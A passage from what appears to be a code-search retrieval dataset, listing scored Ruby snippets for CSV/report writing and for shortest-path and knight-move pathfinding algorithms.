"text": "def write_csv filename, opts={}\n Daru::IO.dataframe_write_csv self, filename, opts\n end",
"title": ""
},
{
"docid": "e97f412769fed26c1e55f524772dc658",
"score": "0.5733702",
"text": "def write_reports\n if @profile\n # create profile directory\n profile_dir = Global.profile_report_directory\n unless profile_dir.exist?\n profile_dir.mkdir\n end\n\n # generate reports\n @reports.group_by{|report| report.class}.each do |_, reports|\n reports.each_with_index do |report, i|\n path = profile_dir + (\"%s_%s_%s_%d.txt\" % [@date, Process.pid, report.name, i])\n path.open(\"w\") do |out|\n report.headers.each do |name, value|\n out.puts \"%s: %s\" % [name, value]\n end\n out.puts \"-\" * 50\n RubyProf::FlatPrinter.new(report.result).print(out, :min_percent => 1)\n end\n end\n end\n\n # clear reports\n @reports.clear\n end\n end",
"title": ""
},
{
"docid": "70d6680fd1572296a023aaab60b97fe2",
"score": "0.5725441",
"text": "def print\n ::CSV.open(\"#{DIRECTORY_PATH}/spy.csv\", \"w\") do |csv|\n csv << headers\n @gems.each do |gem|\n csv << row(gem)\n end\n end\n end",
"title": ""
},
{
"docid": "703ac731350f2d457d7989b88b18c640",
"score": "0.57171845",
"text": "def write_output\n rows = data_to_rows\n rows.each {|row| @outfile.write(row.join(\"\\t\") + \"\\n\")}\n end",
"title": ""
},
{
"docid": "972be07fad21aa1f55a2de62b691364c",
"score": "0.5714424",
"text": "def to_csv(path = nil)\n csv = csv_class.new((path ? File.open(path, 'w') : $stdout), :force_quotes => true)\n csv << columns.map {|c| c.name}\n each {|record| csv << record.to_a}\n end",
"title": ""
},
{
"docid": "05e06000cd78cabd2abdccd74b3e31c5",
"score": "0.57104427",
"text": "def write_to_csv(data,filename = \"new_scraped.csv\")\n\tCSV.open(filename, \"wb\") do |csv|\n\t \tdata.each {|x| csv << x}\n\tend\nend",
"title": ""
},
{
"docid": "9ab975d2a508cf6d3064bf8e723f47fd",
"score": "0.57037604",
"text": "def download_elearning_report_csv\n course = Course.find(params[:id])\n learners = Learner.find_all_by_course_id_and_active(params[:id],\"yes\")\n csv_string = FasterCSV.generate do |csv|\n #set the header\n csv << [\"Learners\",\"Assigned\",\"Status\",\"Score\"]\n learners.each do | learner |\n created_time = (learner.created_at).strftime(\"%d %b %Y\")\n user_obj = User.find_by_id(learner.user_id)\n if learner.score_raw.blank? or learner.score_raw.nil?\n score = \"-\"\n elsif(!learner.score_max.nil? and learner.score_max != \"\")\n score = learner.score_raw.to_s + \" of \" + learner.score_max.to_s\n else\n score = learner.score_raw.to_s\n end\n csv << [user_obj.login,created_time,learner.lesson_status,score]\n end\n end\n generate_csv_file(csv_string,course.course_name)\n end",
"title": ""
},
{
"docid": "424ed4c3a6f77b591bef16213425644e",
"score": "0.5702944",
"text": "def run_benchmarks(benchmarks, options)\n bench_metrics = Concurrent::Hash.new\n options[:snapshot_path] = File.expand_path(options[:snapshot_path])\n @logger.info \"Using snapshot: #{options[:snapshot_path]}\"\n @logger.info \"WORKING_DIR: #{WORKING_DIR}\"\n puts ''\n Dir.chdir(WORKING_DIR) do\n benchmarks_loop(benchmarks, options, bench_metrics)\n end\n if options[:daily]\n write_csv(bench_metrics)\n else\n write_markdown(bench_metrics)\n end\nend",
"title": ""
},
{
"docid": "2c2a95a3cad48578ae0d5e6dc1289870",
"score": "0.56989443",
"text": "def create_csv_file(checks)\n begin\n file_name = file_name_generic(checks)\n output_dir_indexed_image = \"private/data/#{facility_name}/csv/#{Date.today.to_s}\"\n if file_name\n FileUtils.mkdir_p(output_dir_indexed_image)\n end\n File.open(\"#{output_dir_indexed_image}/#{file_name}\", 'w+') do |file|\n file << OutputCsv::Document.new(checks).generate\n puts \"Output generated sucessfully, file is written to:\"\n puts \"#{output_dir_indexed_image}/#{file_name}\"\n end\n rescue Exception => e\n OutputCSV.log.error \"Exception => \" + e.message\n OutputCSV.log.error e.backtrace.join(\"\\n\")\n end \n end",
"title": ""
},
{
"docid": "e5db1ea0f7b252f01854680b3a2d36eb",
"score": "0.5685465",
"text": "def run\n\n raise 'No filename specified, cannot write CSV file!' if @filename.nil?\n\n # Open the Advanced Search page and run the search\n run_advanced_search\n\n # Start writing our CSV File\n CSV.open(@filename, 'wb') do |csv|\n # Header\n csv << get_column_definition\n\n # Grab that first page of results\n results = get_search_results\n\n # Find out if we have more. If we do, we'll advance through the pages below\n has_more_results = more_results_available\n\n # Keep advancing\n while has_more_results != false\n\n # Write out the CSV\n if results.count > 0\n results.each do |asin, row_hash|\n csv << row_hash.values\n end\n\n results = {}\n end\n\n if(@max > 0 && @results_found >= @max)\n break\n end\n\n advance_to_next_page_results\n results.merge!(get_search_results)\n has_more_results = more_results_available\n end\n\n if results.count > 0\n results.each do |asin, row_hash|\n csv << row_hash.values\n end\n end\n\n end\n end",
"title": ""
},
{
"docid": "ac54058490a0334514645b2232aea739",
"score": "0.56830484",
"text": "def export_to_csv\n project = @project\n root = Impasse::Node.find_by_name_and_node_type_id(project[:identifier], 1)\n #$FB test project existing\n # raise \"Project #{project} Not Found\" unless root\n puts \"Browsing project #{project} tests...\"\n nodes = Impasse::Node.find_children(root.id)\n nodes.unshift(root)\n tree, depth = convert_node(nodes)\n #$FB create simplier sheet\n sheet = Sheet.new\n #$FB my way to create colums header\n sheet.setHeaderAtIndice(0, \"Id\")\n sheet.setHeaderAtIndice(1, \"Node_type_id\")\n sheet.setHeaderAtIndice(depth + 1, \"Details\")\n sheet.setHeaderAtIndice(depth + 2, \"Summary\")\n sheet.setHeaderAtIndice(depth + 3, \"Preconditions\")\n sheet.setHeaderAtIndice(depth + 4, \"Keywords\")\n sheet.setHeaderAtIndice(depth + 5, \"Step\")\n sheet.setHeaderAtIndice(depth + 6, \"Actions\")\n sheet.setHeaderAtIndice(depth + 7, \"Expected results\")\n puts \"Sheet header\"\n traverse(tree[0], 0, sheet)\n puts \"Traverse done\"\n #$FB my way to save a csv (and not an xlsx)\n #manager.save(book)\n\n sheet.save\n end",
"title": ""
},
{
"docid": "2a3e91bf994906bb744078ebdab2fd54",
"score": "0.56713647",
"text": "def split_atop_csv_results(csv_path)\n puts \"processing CSV file: #{csv_path}\"\n output_path_summary = csv_path.gsub(\".csv\", \".summary.csv\")\n output_path_detail = csv_path.gsub(\".csv\", \".detail.csv\")\n\n output_path = output_path_summary\n\n contents = File.read(csv_path)\n\n puts \"creating summary: #{output_path_summary}\"\n File.open(output_path_summary, \"w\")\n\n puts \"creating detail: #{output_path_detail}\"\n File.open(output_path_detail, \"w\")\n\n line_ct = 0\n contents.each_line do |line|\n line_ct += 1\n\n output_path = output_path_detail if line_ct > 3\n line.rstrip!\n next if line.empty?\n\n File.open(output_path, \"a\") do |f|\n f.puts line\n end\n end\n\n # csv2html\n puts \"converting CSV files to HTML:\"\n csv2html(output_path_summary)\n csv2html(output_path_detail)\n end",
"title": ""
},
{
"docid": "b2a77e675f9e6f88b16b3e932c309285",
"score": "0.56676954",
"text": "def main\n tmp_r = ItestFindSimilarRecords.find_similiar ARGV[0] || 'records.csv'\n rst = tmp_r.map { |e| e.flatten }.each_with_object('') { |e, a| a << e.to_csv }\n p \"result is: #{rst}\"\n p \"number of pairs: #{rst.size}\"\n p '在similiar.txt中查看相似题目的id'\n File.write('similiar.csv', rst)\nend",
"title": ""
}
] |
cfad0497c5d395a3cd83e011aafdf4ce | Returns the shortest path from from_x,from_y to to_x, to_y as an array of 2 element [x,y] arrays... or `nil` if no path can be found | [
{
"docid": "477c8f3492c7d0e4cf4836969161fb37",
"score": "0.724717",
"text": "def shortest_path(from_x, from_y, to_x, to_y)\n @visited = Array.new(@matrix.size) { Array.new(@matrix.first.size) { false } }\n @farthest_node = nil\n queue = Queue.new\n queue << Node.new(from_x, from_y, 0)\n\n while !queue.empty? do\n node = queue.pop\n\n if !@farthest_node || node.dist > @farthest_node.dist\n @farthest_node =node\n end\n\n if node.x == to_x && node.y == to_y\n # We pathed to the target\n target_node = node\n break\n end\n [[-1,0],[1,0],[0,1],[0,-1]].each do |dir|\n x = node.x + dir[0]\n y = node.y + dir[1]\n if is_valid?(x, y)\n @visited[y][x] = true\n queue.push(Node.new(x, y, node.dist + 1, node))\n end\n end\n end\n\n # We didn't find a path to the target\n return nil unless target_node\n\n # Trace back the journey\n journey = []\n journey.push [node.x,node.y]\n while !node.parent.nil? do\n node = node.parent\n journey.push [node.x,node.y]\n end\n journey.reverse.drop(1)\n end",
"title": ""
}
] | [
{
"docid": "869ac818a85922f3857a993fe9d829a6",
"score": "0.68479306",
"text": "def shortest_path\n initial_position_obj = { position: start_position, source: {} }\n\n knights_path = [initial_position_obj]\n\n while knights_path.present?\n current_position = knights_path.shift\n\n position = current_position[:position]\n\n if position == end_position\n return path_to_destination(current_position, initial_position_obj)\n end\n\n add_possible_destination(position, current_position, knights_path)\n end\n end",
"title": ""
},
{
"docid": "1278292c5565440ec37626e8ed61f3f3",
"score": "0.67318213",
"text": "def shortest_path(start_coord, destination_coord)\n queue = Queue.new\n queue << [start_coord]\n seen = Set.new([start_coord])\n while queue\n begin\n path = queue.pop(non_block = true)\n rescue ThreadError\n return nil\n end\n x, y = path[-1]\n if [x, y] == destination_coord\n return path\n end\n for x2, y2 in [[x + 1, y], [x - 1, y], [x, y + 1], [x, y - 1]]\n if (0 <= x2 && x2 < @map[0].length) && (0 <= y2 && y2 < @map.length) && (@map[y2][x2] != @WALL && @map[y2][x2] != @PERMANENT_WALL) && !seen.include?([x2, y2])\n queue << (path + [[x2, y2]])\n seen.add([x2, y2])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9cd3013133f570d2c13ddf60380f85d4",
"score": "0.66163194",
"text": "def shortest_path_to(node)\n return nil if @previous_nodes[node].nil?\n\n nodes = [node]\n while previous_node = @previous_nodes[nodes[0]] do\n nodes.unshift(previous_node)\n end\n\n nodes\n end",
"title": ""
},
{
"docid": "90fe4705c5076736d873ec44c0431b93",
"score": "0.65852463",
"text": "def next_step_to_shortest_path(from_x, from_y, to_x, to_y)\n move = shortest_path(from_x, from_y, to_x, to_y)&.first\n return nil unless move\n if move[0] == from_x && move[1] == from_y + 1\n return 'S'\n elsif move[0] == from_x && move[1] == from_y - 1\n return 'N'\n elsif move[0] == from_x + 1 && move[1] == from_y\n return 'E'\n elsif move[0] == from_x - 1 && move[1] == from_y\n return 'W'\n end\n raise 'This should not happen'\n end",
"title": ""
},
{
"docid": "6dd117b9c8b02d580333cd2a161e9669",
"score": "0.6490354",
"text": "def shortest_paths(src, destinations)\n return [] if destinations.empty?\n\n paths = []\n visited = Set.new([src])\n queue = Containers::MinHeap.new\n queue.push([1, [src]])\n\n until queue.empty?\n _, path = queue.pop\n\n # Not going to find shorter paths than current best, return.\n break if paths.any? && paths[0].size < path.size\n\n cur = path.last\n paths << path if destinations.include?(cur)\n\n neighbors(cur).each do |pos|\n next if visited.include?(pos) || occupied?(pos)\n\n visited.add(pos)\n new_path = Array.new(path.size) { |i| path[i].dup }\n new_path << pos\n queue.push([new_path.size, new_path])\n end\n end\n\n paths\n end",
"title": ""
},
{
"docid": "2b10f34c4bfa93a9479328fca7c7fee6",
"score": "0.64729923",
"text": "def get_route(start_arr, end_arr)\n root = Position.new(start_arr[0], start_arr[1])\n target = Position.new(end_arr[0], end_arr[1])\n solution = get_target_value(target, root)\n\n route = []\n route.unshift([target.x, target.y])\n location = solution.parent\n until location == nil\n route.unshift [location.x, location.y]\n location = location.parent\n end\n return route\nend",
"title": ""
},
{
"docid": "d1eb16d3cf6ff4b83600188e30212b6d",
"score": "0.64159197",
"text": "def shortest_path(start, finish)\n queue << [start, 0]\n loop do\n break if queue.empty?\n vertex, d = queue.pop\n graph[*vertex] = d\n break if vertex == finish\n enqueue_neighbours(*vertex, d + 1)\n end\n queue.clear\n !blank?(finish) ? build_path(start, finish) : []\n end",
"title": ""
},
{
"docid": "4d47dcafaca865bf7fe23ec696448cf5",
"score": "0.6314613",
"text": "def shortest_path\n pa = AI::AStarAlgorithm.new($map.grid, $map.gen_coordinates)\n pa.astar\n end",
"title": ""
},
{
"docid": "2193cac235ce2d22c147f0550ba5c888",
"score": "0.63121825",
"text": "def shortest_path_to(dest_node)\n return unless has_path_to?(dest_node)\n path = []\n while (dest_node != @node) do\n path.unshift(dest_node)\n dest_node = @edge_to[dest_node]\n end\n path.unshift(@node)\n end",
"title": ""
},
{
"docid": "320cbc0fb28f2c66160483ff457adbd2",
"score": "0.6304971",
"text": "def best_path(start, target)\n queue = []\n path = []\n targetX = target[0]\n targetY = target[1] \n update_possible_moves(start)\n path << [@x, @y]\n until @x == targetX && @y == targetY\n @moves.each do |valid_move|\n queue << valid_move unless out_of_bounds?(valid_move) \n end\n #shift because we want bread-first search\n next_move = queue.shift\n update_possible_moves(next_move)\n path << [@x, @y] \n end\n # Filter out the best path and present it\n best_possible_path = filter_path(path)\n puts \"You made it in #{best_possible_path.length} moves! The path is:\\n#{best_possible_path}\"\n end",
"title": ""
},
{
"docid": "aba0bf7091d1b1c7774ccc2874164c52",
"score": "0.62038255",
"text": "def find_path(goal = @maze.find_end)\n path = [goal]\n spot = goal\n until @branching_paths[spot] == nil\n path << @branching_paths[spot]\n spot = @branching_paths[spot]\n end\n path\n end",
"title": ""
},
{
"docid": "fd410454a046ec0f1dec675d60bc187e",
"score": "0.6190541",
"text": "def get_path(start, stop)\n @graph.dijkstra_shortest_path(@weight_map, start, stop)\n end",
"title": ""
},
{
"docid": "e8b2946eb2f38df1947bc5b253e0b6f2",
"score": "0.61804885",
"text": "def find_path()\n visited = Array.new(8) {Array.new(8)}\n return [] if @destination == @currentPosition\n paths = [[@currentPosition]]\n visited[@currentPosition[0]][@currentPosition[1]] = true\n\n until paths.empty?\n new_paths = []\n paths.each do |path|\n next_positions = possibleMoves(path.last, visited)\n next_positions.each do |move|\n newpath = path.dup << move\n if move == @destination #if we reached our destination stop and return the path\n return newpath\n end\n visited[move[0]][move[1]] = true\n new_paths.push(newpath)\n end\n end\n paths = new_paths\n end\n end",
"title": ""
},
{
"docid": "b90b7314006a42c482d73833555a12b7",
"score": "0.61742586",
"text": "def select_possible_path(possible_paths)\n vertex, data = possible_paths.min_by do |vertex, data|\n data[:cost]\n end\n vertex\nend",
"title": ""
},
{
"docid": "587c81dd4d1753242e378c7470f21167",
"score": "0.61632663",
"text": "def shortest_path\n dist, previous = Hash.new(Infinity), {}\n dist[@source] = 0.0\n queue = @graph.vertex_set.dup\n\n until queue.empty?\n u = queue.min { |a,b| dist[a.name] <=> dist[b.name] }\n break if dist[u.name].infinite?\n queue.delete(u)\n\n u.each_edge do |e, v|\n alt = dist[u.name] + e.weight\n if alt < dist[v.name]\n dist[v.name] = alt\n previous[v.name] = u.name\n end\n end\n end\n\n path = []\n u = @dest\n until previous[u].nil?\n path.unshift(u)\n u = previous[u]\n end\n\n path.unshift(@source)\n end",
"title": ""
},
{
"docid": "14efb02726e21df9cecc8029b1a9c62f",
"score": "0.61516386",
"text": "def call\n return nil unless on_the_graph? # Prevents a stack overflow in the gem\n return shortest_path[1..-1] if shortest_path.length > 1\n end",
"title": ""
},
{
"docid": "f9fef3295ade996c40b66ad3b379a897",
"score": "0.61315024",
"text": "def shortest_paths(source, dest)\n @graph_paths=[]\n @source = source\n dijkstra source\n @path=[]\n find_path dest\n actual_distance=if @distance[dest] != INFINITY\n @distance[dest]\n else\n \"no path\"\n end\n \"Shortest route and distance : #{@path.join(\"-->\")}, #{actual_distance} km\"\n end",
"title": ""
},
{
"docid": "a5477e49a5e9e6ccb792ba5528d8ac24",
"score": "0.61289406",
"text": "def endpoints\n connectors = {\n :NW => [2, 2],\n :SE => [98, 98],\n :NE => [98, 2],\n :SW => [2, 98],\n :N => [50, 0],\n :S => [50, 100],\n :E => [100, 50],\n :W => [0, 50]\n }\n shortest_path = 1000000\n generated_endpoints = []\n connectors.each do |from_key, from_connector|\n ep_from = [from.x + from_connector[0], from.y + from_connector[1]]\n connectors.each do |to_key, to_connector|\n ep_to = [to.x + to_connector[0], to.y + to_connector[1]]\n path = Math.sqrt(((ep_from[0] - ep_to[0]).abs ** 2) + ((ep_from[1] - ep_to[1]).abs ** 2)).to_i\n if path < shortest_path + 25\n shortest_path = path\n generated_endpoints = [ep_from, ep_to]\n end\n end\n end\n return generated_endpoints\n end",
"title": ""
},
{
"docid": "f34cf7a53dd1c368fb3df9ea95c510c4",
"score": "0.6116525",
"text": "def shortest_paths(source)\n init(source)\n relax_edges\n PathBuilder.new(source, @visitor.parents_map).paths(@graph.vertices)\n end",
"title": ""
},
{
"docid": "203495d4a6e375bed44d88f44fabec19",
"score": "0.6113592",
"text": "def find_any_path_between_vertices(source_vertex, destination_vertex)\n validate_integer(source_vertex, destination_vertex)\n return nil if @vertices[source_vertex].nil? || @vertices[destination_vertex].nil?\n return path_between_vertices(source_vertex, destination_vertex)\n end",
"title": ""
},
{
"docid": "884d0bcbe214da08005843d720680b0c",
"score": "0.60861695",
"text": "def build_path(start, finish)\n path = [finish]\n loop do\n vertex = path.last\n d = graph[*vertex]\n neighbours = get_neighbours(*vertex)\n next_vertex = neighbours.select{|n_vert| graph[*n_vert] == d - 1}.first\n path << next_vertex if next_vertex\n break if vertex == start\n end\n path\n end",
"title": ""
},
{
"docid": "5a34f08dfe9bec2fc5e14987c2d316ca",
"score": "0.6078824",
"text": "def shortest_path_to_user(start_coord)\n queue = Queue.new\n queue << [start_coord]\n seen = Set.new([start_coord])\n while queue\n begin\n path = queue.pop(non_block = true)\n rescue ThreadError\n return nil\n end\n x, y = path[-1]\n if @map[y][x] == @USER\n return path\n end\n for x2, y2 in [[x + 1, y], [x - 1, y], [x, y + 1], [x, y - 1]]\n if (0 <= x2 && x2 < @map[0].length) && (0 <= y2 && y2 < @map.length) && (@map[y2][x2] != @WALL && @map[y2][x2] != @PERMANENT_WALL) && !seen.include?([x2, y2])\n queue << (path + [[x2, y2]])\n seen.add([x2, y2])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "bfb78100ec62bae9bc5e9fd97645707c",
"score": "0.6043872",
"text": "def shortest_path(start_node, end_node, graph)\n adjacent_edges = graph.select{ | edge | edge[NODES].include?(start_node) }\n remaining_edges = graph - adjacent_edges\n shortest_path = Path.new\n adjacent_edges.each do | edge |\n path = Path.new [edge]\n neighbor_node = (edge[NODES] - [start_node])[0] # ['A', 'B'] - ['A'] => ['B']\n unless neighbor_node == end_node\n path_ahead = shortest_path(neighbor_node, end_node, remaining_edges)\n (path_ahead.empty?)? path.clear : path.concat(path_ahead)\n end \n shortest_path = path if path.distance < shortest_path.distance\n end\n shortest_path\n end",
"title": ""
},
{
"docid": "18faf058fb0f0e5aa938c09eb4e9b0b7",
"score": "0.60376024",
"text": "def shortest_path(nodes, starting, ending)\n queue = [starting]\n previous = {}\n previous[starting] = nil\n while !queue.empty?\n p queue\n last_node = queue.pop\n if last_node == ending\n path = []\n while previous[last_node]\n path.unshift(last_node)\n last_node = previous[last_node]\n end\n path.unshift(starting)\n return path\n end\n if neighbors = nodes[last_node]\n neighbors.each do |neighbor|\n unless previous.has_key?(neighbor)\n queue.unshift(neighbor) \n previous[neighbor] = last_node\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "1f84e20574008a8a4ed4017ce4bb9291",
"score": "0.6018294",
"text": "def find_shortest_path(rolling_node)\n\n @backtrack = []\n @backtrack << @goal_node\n\n # iterate until we arrive at the start node\n while rolling_node[:prev] != nil do\n temp_node = @node_list.find { |hash| hash[:id] == rolling_node[:prev] }\n @backtrack << temp_node[:id]\n rolling_node = temp_node\n end\n\n # create a table with the 1d and the 2d array node values\n @shortest_path = []\n\n @backtrack.each do |p|\n @shortest_path << [p, @table_convert[p]]\n @shortest_path_coords << @table_convert[p][1]\n end\n end",
"title": ""
},
{
"docid": "651364db8e1205d8a3929607d96172d6",
"score": "0.6008011",
"text": "def findPath(startPoint, endPoint)\n # Initialize node array\n # This array will host all the map points we are going to visit\n # On each visit the point will be removed and marked as visited\n q = []\n # This is tie visited array that keeps the visit index\n @visited = Array.new(@width * @height, 0)\n \n # Add first point to visited\n @visited[self.getXYIndex(startPoint)] = 1\n \n # Add current point (the start point) to the search pool\n currentPoint = XYLoc.new(startPoint.x, startPoint.y)\n q.push(currentPoint)\n\n # Search until all points are searched\n while (q.count() > 0)\n # Get first item (and remove from the pool)\n pnext = q.shift\n \n # Get neighbors/children\n succList = self.getNeighbors(pnext)\n for succ in succList\n # Check if point already visited\n if (@visited[self.getXYIndex(succ)] >= 1)\n next\n end\n # Set visited index as the current visited index + 1\n @visited[self.getXYIndex(succ)] = @visited[self.getXYIndex(pnext)] + 1\n \n # Check if the end point is found\n if (succ.x == endPoint.x && succ.y == endPoint.y)\n # Extract path\n return self.extractPath(endPoint)\n end\n \n # Point is not the goal point.\n # Push the point into the search pool.\n q.push(succ)\n end\n end\n \n # The search pool is empty and the goal point hasn't\n # been reached. Return empty path.\n return []\n end",
"title": ""
},
{
"docid": "64e51a0327c4212eb85ce1fa9bb83d8b",
"score": "0.599319",
"text": "def next_step_from(paths)\n paths.map do |path|\n possible_neighbours(path.most_recent_step.coordinate, @max_x, @max_y) \n .map { |c| coord_to_step_on_path(c, path) }\n .reject { |p| p == nil }\n end\n .flatten\n end",
"title": ""
},
{
"docid": "fcd9fd38de2c2c14236b5a5c1c24330f",
"score": "0.59730077",
"text": "def shortest_path_between_nodes(initial, destination)\n initial.distance = 0\n\n current = initial\n loop do\n # at the destination node, stop calculating\n break if current == destination\n\n unvisited.delete(current)\n\n calculate_neighbor_shortest_distances(current)\n\n return nil if no_reachable_nodes\n\n current = unvisited.min_by(&:distance)\n end\n\n destination.path\n end",
"title": ""
},
{
"docid": "bddb5b76d0cfc9cc44a90fc2c84001da",
"score": "0.596281",
"text": "def find_shortest_path(start_node, end_node)\n\n\t\tif (!start_node || !end_node)\n\t\t\traise \"start and end nodes must be specified\"\n\t\tend\n\n\t\tqueue = Hash[@edges.keys.map { |k| [k, nil] }]\n\t\tqueue[start_node] = 0\n\n\t\tdistances = queue.dup\n\t\tcrumbs = {}\n\n\t\twhile queue.size > 0\n\n\t\t\texpanded_node = get_min(queue)\n\n\t\t\t# Check if the current path to each neighbor of the expanded_node\n\t\t\t# is shorter than the path currently stored on the distances hash\n\t\t\t@edges[expanded_node].each do |node, edge|\n\n\t\t\t\tif distances[expanded_node]\n\t\t\t\t\n\t\t\t\t\tcurrent_path_distance = distances[expanded_node] + edge.weight\n\n\t\t\t\t\t# The distance to node is shorter via the current path or the distance to node hasn't yet been computed.\n\t\t\t\t\t# Either way, the distance from start_node->node is updated with the current distance (since it is shorter)\n\t\t\t\t\tif (!distances[node] || current_path_distance < distances[node])\n\t\t\t\t\t\tdistances[node], queue[node] = current_path_distance, current_path_distance\n\t\t\t\t\t\tcrumbs[node] = expanded_node\n\t\t\t\t\tend\n\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\tqueue.delete(expanded_node)\n\n\t\tend\n\n\t\t# List of edges representing the shortest path from start_node to end_node\n\t\tshortest_path = []\n\t\tcurrent_node = end_node\n\n\t\twhile (current_node && current_node != start_node && crumbs.size > 0)\n\t\t\tprevious_node = crumbs[current_node]\n\t\t\tif (previous_node)\n\t\t\t\tshortest_path << @edges[previous_node][current_node]\n\t\t\t\tcrumbs.delete(current_node)\n\t\t\tend\n\t\t\tcurrent_node = previous_node\n\t\tend\n\n\t\treturn shortest_path.reverse\n\n\tend",
"title": ""
},
{
"docid": "56381875241c450de790c66eced2736e",
"score": "0.59549487",
"text": "def shortest_paths(source, dest)\n\t\t\t@source = source\n\t\t\tdijkstra source\n\t\t\tprint_path dest\n\t\t\treturn @distance[dest]\n\t\tend",
"title": ""
},
{
"docid": "90a006d791899b480328c2f41368e9e0",
"score": "0.59368205",
"text": "def calculate_path(from, to)\n if @color == :white && !@moved\n case to\n when [7,1]\n return horizontal_move(from, [8,1])\n when [3,1]\n return horizontal_move(from, [1,1])\n end\n elsif @color == :black && !@moved\n case to\n when [7,8]\n return horizontal_move(from, [8,8])\n when [3,8]\n return horizontal_move(from, [1,8])\n end\n end\n\n if ((from[0] - to[0]).abs > 1) || ((from[1] - to[1]).abs > 1)\n false\n else\n []\n end\n end",
"title": ""
},
{
"docid": "accfa5e1fa042d0219914ee4c7ddbefa",
"score": "0.59341776",
"text": "def find_path(start, target)\n node = build_path(start, target)\n path = [node]\n until node.next_node.nil? do\n node = node.next_node\n path.push(node)\n end\n path = path.reverse\n puts \"You made it in #{path.length} moves. Here is your path: \"\n path.each do |node|\n puts \"[#{node.x}], [#{node.y}]\"\n end\nend",
"title": ""
},
{
"docid": "b37a1bce88a1c443947cba4f0797377c",
"score": "0.5912429",
"text": "def build_paths(start)\n step = 0\n visited = []\n unvisited = [[board_node_by_location(start),step]]\n \n while !unvisited.empty?\n node = unvisited[0][0]\n step = unvisited[0][1] + 1\n \n node.neighbors.each do |x|\n if not_visited(board_node_by_location(x),visited, unvisited)\n unvisited << [board_node_by_location(x),step]\n end\n end\n visited << unvisited.shift\n end\n return visited\nend",
"title": ""
},
{
"docid": "95a5191c34b0aae71d4a54fc3ccfcd3c",
"score": "0.5909127",
"text": "def compute_shortest_path\n update_distance_of_all_edges_to(Float::INFINITY)\n @distance_to[@source_node] = 0\n\n # The prioriy queue holds a node and its distance from the source node.\n @pq.insert(@source_node, 0)\n while @pq.any?\n node = @pq.remove_min\n node.adjacent_edges.each do |adj_edge|\n relax(adj_edge)\n end\n end\n end",
"title": ""
},
{
"docid": "a750eb2aa2168c2715ff2433a06c2178",
"score": "0.59048826",
"text": "def knight_path(from, to)\n\topen_queue = [PositionPath.new( from, [copy(from)] )]\n\tdiscovered = [from]\n\n\tuntil open_queue.empty?\n\t\tcurrent = open_queue.shift\n\n\t\treturn current.path if current.position == to\n\t\tvalid_moves(current.position).each do |move|\n\t\t\tunless discovered.include?(move)\n\t\t\t\tdiscovered << move\n\t\t\t\topen_queue.push(make_position_path(current, move)) \n\t\t\tend\n\t\tend\n\tend\n\t\nend",
"title": ""
},
{
"docid": "ad9a7ffbe3ba96c717f19162acde0bb1",
"score": "0.5876588",
"text": "def shortest_path_from(from, check=nil)\n dirs = [ [1,0], [0,1], [0,-1], [-1,0] ]\n \n #return [1,0]\n \n unless @cache and @cached_for == towers.keys+[check]\n\tmarked = {}\n\tmarked.default = false\n\n\tq = [Config.monsters_end_at]\n\tfirst = 0\n\t\n\tmarked[Config.monsters_end_at] = true\n\t\n\twhile first < q.size\n\t v = q[first]\n\t first += 1\n\t for i in dirs\n\t w = [v[0]+i[0], v[1]+i[1]]\n\t next if w != Config.monsters_start_at and w != Config.monsters_end_at and\n\t\t (w[0] < 0 or w[1] < 0 or w[0] >= Config.map_size[0] or w[1] >= Config.map_size[1])\n\t next if marked[w] or w == check or towers[w]\n\t marked[w] = [-i[0], -i[1] ]\n\t q << w\n\t end\n\tend\n\t\n\t@cached_for = towers.keys+[check]\n\t@cache = marked\n end\n \n return @cache[from]\n end",
"title": ""
},
{
"docid": "16f2ff698d588872127e26e881456e8a",
"score": "0.58684105",
"text": "def shortest_paths(s)\n\t\t@source = s\n\t\tdijkstra s\n\t\tputs \"Source: #{@source}\"\n\t\t@nodes.each do |dest|\n\t\t\tputs \"\\nTarget: #{dest}\"\n\t\t\tprint_path dest\n\t\t\tif @d[dest] != @INFINITY\n\t\t\t\tputs \"\\nDistance: #{@d[dest]}\"\n\t\t\telse\n\t\t\t\tputs \"\\nNO PATH\"\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "05065d3de30b61518d20b694f2f961b1",
"score": "0.5868181",
"text": "def get_path_by_names(start, stop)\n s1 = get_node(start)\n s2 = get_node(stop)\n if s1 != nil && s2 != nil\n return get_path(s1, s2)\n end\n Array.new \n end",
"title": ""
},
{
"docid": "cb7cd4d17d4f4e1b4ae88eb8eae13f6a",
"score": "0.5867856",
"text": "def shortest_paths(s)\n @source = s\n dijkstra s\n puts \"Source: #{@source}\"\n @nodes.each do |dest|\n puts \"\\nTarget: #{dest}\"\n print_path dest\n if @d[dest] != @INFINITY\n puts \"\\nDistance: #{@d[dest]}\"\n else\n puts \"\\nNO PATH\"\n end\n end\n end",
"title": ""
},
{
"docid": "e634fe3af2c87e4c20e23a05b2517365",
"score": "0.5843159",
"text": "def compute_path(source_x, source_y, destination_x, destination_y)\n build_structures(source_x, source_y)\n path([destination_x, destination_y])\n backtrace(source_x, source_y, destination_x, destination_y)\n end",
"title": ""
},
{
"docid": "5abd0af29dd7b66a6a77fdb1e56b7cd3",
"score": "0.57946295",
"text": "def get_move_path(start_cell, end_cell)\n start_coordinates = board.chess_notation_to_coordinates(start_cell)\n end_coordinates = board.chess_notation_to_coordinates(end_cell)\n start_y, start_x = start_coordinates[0], start_coordinates[1]\n end_y, end_x = end_coordinates[0], end_coordinates[1]\n path = []\n\n if horizonal_move?(start_cell, end_cell)\n path = build_horizonal_path(start_y, start_x, end_y, end_x)\n elsif vertical_move?(start_cell, end_cell)\n path = build_vertical_path(start_y, start_x, end_y, end_x)\n else\n path = build_diagonal_path(start_y, start_x, end_y, end_x)\n end\n\n path.map { |coordinates| board.coordinates_to_chess_notation(coordinates) }\n end",
"title": ""
},
{
"docid": "614d4c047f8513b591109371498ae05e",
"score": "0.57886827",
